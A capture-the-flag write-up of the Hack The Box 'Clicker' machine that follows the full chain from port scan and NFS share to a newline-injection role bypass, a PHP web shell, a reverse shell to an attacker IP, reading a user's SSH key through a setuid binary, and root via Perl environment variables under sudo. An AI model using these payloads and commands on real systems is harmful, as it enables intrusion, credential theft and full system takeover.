Writeup of Clicker machine of Hack The Box
Resolution of Clicker Machine of Hack The Box
🔬 “Cool Hacking always have Reverse Engineering…”
Enumeration
- Scan ports with Nmap looking for open ports via TCP protocol (default of Nmap),
1
sudo nmap 10.10.11.232 -p- --open --min-rate=5000 -sS -Pn -oG openPorts -vvv
- Now we know which ports are opened, so we gonna scan those ports and its services version, at the same time run default Nmap’s scripts.
1
sudo nmap 10.10.11.232 -p 22,80,111,2049,37783,40073,43029,51063,56481 -sS -Pn -sVC -oN scanComplete -vvv
- We have the complete results. It’s time to add the DNS
clicker.htb
to/etc/hosts
file in our Linux attacker’s machine:
1
10.10.11.232 clicker.htb
- In our web browser, Firefox, I will redirecting all HTTP traffic through a proxy to localhost (via IPv4) on port 8080 (127.0.0.1:8080). This will be useful to intercept and view all the traffic in Burp Suite. (Note: In my case, I use Foxy Proxy extension to redirect HTTP traffic through localhost).
- Let’s register as normal-user and then log in.
- If we still looking for some in this website probably we can’t found nothing.
- There are another ports open in our Nmap scan results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO8nDXVOrF/vxCNHYMVULY8wShEwVH5Hy3Bs9s9o/WCwsV52AV5K8pMvcQ9E7JzxrXkUOgIV4I+8hI0iNLGXTVY=
| 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjDCjag/Rh72Z4zXCLADSXbGjSPTH8LtkbgATATvbzv
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 3 39189/udp6 mountd
| 100005 3 51063/tcp mountd
| 100005 3 57941/tcp6 mountd
| 100021 1,3,4 34573/tcp6 nlockmgr
| 100021 1,3,4 43029/tcp nlockmgr
| 100021 1,3,4 53328/udp6 nlockmgr
| 100021 1,3,4 60558/udp nlockmgr
| 100024 1 37783/tcp status
| 100024 1 42703/tcp6 status
| 100024 1 45391/udp status
| 100024 1 52971/udp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
37783/tcp open status syn-ack ttl 63 1 (RPC #100024)
40073/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
43029/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
51063/tcp open mountd syn-ack ttl 63 3 (RPC #100005)
56481/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- We can learn about port 111 and
rpcbind
service in HackTricks:
Explotation
- We can run the following commands:
1
2
sudo mkdir /mnt/htb-content
sudo mount nfs 10.10.11.232:/mnt/backups /mnt/htb-content
- That works! Now we gotta access to internal server sharing file system in our own attacker’s machine.
- Just unzip the file
clicker.htb_backup.zip
- If we take a look to all files, we can focus on the file
save_game.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity
detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
- So we can add the parameter
role
to try bypass our normal-user role toAdmin
.
- Picture zoom:
- CRLF Injection Payload:
1
%0a
- Request:
1
2
3
4
5
6
7
8
9
10
11
GET /save_game.php?clicks=3&level=0&role%0a=Admin HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=k04t2u6s0r3q6pd884eq4nho0l
Upgrade-Insecure-Requests: 1
- We’ve been used a CRLF Injection
(%0a)
to bypass the PHP WAF and therefore set for us the role “Admin”. - Also we added a new parameter to manipulate the application and can give to us access as Administrator (
&role=Admin
). - Now we just need logout and login again to server can reload our Role:
- So we are Administrators on this web app, let’s take a look…
- From Burp Suite we can see that it is possible export “results” also as PHP file, because it works
Pentester Mindset: “Server is running PHP and we can also export a file in PHP filetype, so: ¿Why not try to create a PHP backdoor? ¿Which code we need to?”
File: export.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
function random_string($length) {
$key = '';
$keys = array_merge(range(0, 9), range('a', 'z'));
for ($i = 0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
$threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
$s .= ' </tr>';
$s .= '</thead>';
$s .= '<tbody>';
$s .= ' <tr>';
$s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>';
$s .= ' <td>' . $currentplayer["clicks"] . '</td>';
$s .= ' <td>' . $currentplayer["level"] . '</td>';
$s .= ' </tr>';
foreach ($data as $player) {
$s .= ' <tr>';
$s .= ' <th scope="row">' . $player["nickname"] . '</th>';
$s .= ' <td>' . $player["clicks"] . '</td>';
$s .= ' <td>' . $player["level"] . '</td>';
$s .= ' </tr>';
}
$s .= '</tbody>';
$s .= '</table>';
}
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>
- So if we add the
nickname
as parameter with one simple line of PHP code, we can create a backdoor:
Payload:
1
<?php system($_GET['cmd']) ?>
- It is important to URL Encode PHP code into the request because it is in URL Path.
Request:
1
2
3
4
5
6
7
8
9
10
11
GET /save_game.php?clicks=3&level=0&role%0a=Admin&nickname=<%3fphp+system($_GET['cmd'])+%3f> HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=k04t2u6s0r3q6pd884eq4nho0l
Upgrade-Insecure-Requests: 1
- And now just need to export to PHP format:
Request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /export.php HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://clicker.htb
DNT: 1
Connection: close
Referer: http://clicker.htb/admin.php
Cookie: PHPSESSID=k04t2u6s0r3q6pd884eq4nho0l
Upgrade-Insecure-Requests: 1
threshold=1000000&extension=php
- Now we need to access to:
http://clicker.htb/exports/top_players_lruwllg1.php?cmd=id
where we can execute our commands:
- It’s time to create a Reverse Shell:
Payload:
1
sh -i >& /dev/tcp/{IP}/{PORT} 0>&1
- But we need to encode in Base64 and then decode and execute with bash:
1
echo "sh -i >& /dev/tcp/{IP}/{PORT} 0>&1" | base64 | base64 -d | bash
- In Firefox or BurpSuite:
http://clicker.htb/exports/top_players_lruwllg1.php?cmd=echo+"sh+-i+>%26+/dev/tcp/10.10.14.51/4545+0>%261"+|+base64+|+base64+-d+|+bash
YES!! we are inside the server.
Post Exploitation
- First we can spawn a Bash Shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
- We can analyze with Ghidra the binary
execute_query
in/opt/manage/execute_query
to apply Reverse Engineering.
1
2
www-data@clicker:/opt/manage$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
- First we need to download the file
execute_query
to our attacker’s machine:
1
www-data@clicker:/opt/manage$ cp execute_query /var/www/clicker.htb/exports
- And after that, go to
http://clicker.htb/exports/execute_query
to download the binary.
Ghidra
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
undefined8 main(int param_1,long param_2)
{
int iVar1;
undefined8 uVar2;
char *pcVar3;
size_t sVar4;
size_t sVar5;
char *__dest;
long in_FS_OFFSET;
undefined8 local_98;
undefined8 local_90;
undefined4 local_88;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 < 2) {
puts("ERROR: not enough arguments");
uVar2 = 1;
}
else {
iVar1 = atoi(*(char **)(param_2 + 8));
pcVar3 = (char *)calloc(0x14,1);
switch(iVar1) {
case 0:
puts("ERROR: Invalid arguments");
uVar2 = 2;
goto LAB_001015e1;
case 1:
strncpy(pcVar3,"create.sql",0x14);
break;
case 2:
strncpy(pcVar3,"populate.sql",0x14);
break;
case 3:
strncpy(pcVar3,"reset_password.sql",0x14);
break;
case 4:
strncpy(pcVar3,"clean.sql",0x14);
break;
default:
strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
}
local_98 = 0x616a2f656d6f682f;
local_90 = 0x69726575712f6b63;
local_88 = 0x2f7365;
sVar4 = strlen((char *)&local_98);
sVar5 = strlen(pcVar3);
__dest = (char *)calloc(sVar5 + sVar4 + 1,1);
strcat(__dest,(char *)&local_98);
strcat(__dest,pcVar3);
setreuid(1000,1000);
iVar1 = access(__dest,4);
if (iVar1 == 0) {
local_78 = 0x6e69622f7273752f;
local_70 = 0x2d206c7173796d2f;
local_68 = 0x656b63696c632075;
local_60 = 0x6573755f62645f72;
local_58 = 0x737361702d2d2072;
local_50 = 0x6c63273d64726f77;
local_48 = 0x62645f72656b6369;
local_40 = 0x726f77737361705f;
local_38 = 0x6b63696c63202764;
local_30 = 0x203c20762d207265;
local_28 = 0;
sVar4 = strlen((char *)&local_78);
sVar5 = strlen(pcVar3);
pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
strcat(pcVar3,(char *)&local_78);
strcat(pcVar3,__dest);
system(pcVar3);
}
else {
puts("File not readable or not found");
}
uVar2 = 0;
}
LAB_001015e1:
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar2;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
- Analyzing with Ghidra the code provided, we found …
1
2
3
else {
puts("File not readable or not found");
}
- … that is executed if is provided any number as argument if not is in range 0-4. I mean something like this:
1
2
3
4
5
$: ./execute_query 0
$: ./execute_query 1
$: ./execute_query 2
...
$: ./execute_query 4
- So probably if we try with execute
execute_query
with any number (int or float) like 5 or 6.2415 or 555.01, etc…, as argument and then the file which we want read, we can read theid_rsa
file of Jack user that is in/etc/passwd
.
1
www-data@clicker:/opt/manage$ ./execute_query 5.2 ../.ssh/id_rsa
This works because the PATH where is executed the binary is from
/home/jack/queries
So let’s connect via SSH with
id_rsa
file:
1
2
chmod 0600 id_rsa
ssh -i id_rsa jack@clicker.htb
- And we found the
user.txt
flag in/home/jack/user.txt
- We can read the file
monitor.sh
in/opt
folder:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
- And if we execute
sudo -l
we can see:
1
2
3
4
5
6
7
jack@clicker:/opt$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
- At this time, I think that we can abuse the ENV PATH ->
(root) SETENV: NOPASSWD: /opt/monitor.sh
- .. -> with no password to execute the file
monitor.sh
as root privileges to get root access… But, ¿How?
Pentester Mindset: “If we can execute
monitor.sh
with root privileges and no password, and that script uses Perl: we can executemonitor.sh
script but setting custom Perl’s “environment variables” that can give us root access.. in example, to executels
in/root
directory and, Âżwhy not? also change a bash file binary permissions likesudo chmod u+s ./bash
to then executebash -p
and get root shell”.
Documentation: https://perldoc.perl.org/search?q=environments+variables
Yes, we can. After create our plan it is time to attack!
Now just remains to copy
/usr/bin/bash
binary to/home/jack
and then change the owner and UID Permissions (User ID Permissions):
1
2
3
4
5
6
7
8
9
10
11
12
# In $HOME Directory:
jack@clicker:~$ cp /bin/bash .
# FROM /opt Directory:
jack@clicker:/opt$ sudo PERL5OPT=-d PERL5DB='chown root:root /home/jack/bash' /opt/monitor.sh
jack@clicker:/opt$ sudo PERL5OPT=-d PERL5DB='chmod u+s /home/jack/bash' /opt/monitor.sh
# In $HOME Directory:
jack@clicker:~$ ./bash -p
bash-5.1# whoami
root
bash-5.1# cd /root/
bash-5.1# cat root.txt
# Root flag here
🕵️ Pwned!!! 🕵️
We got the root flag in /root/root.txt and finally complete the machine with full access to system!! 🏆
Happy Hacking!!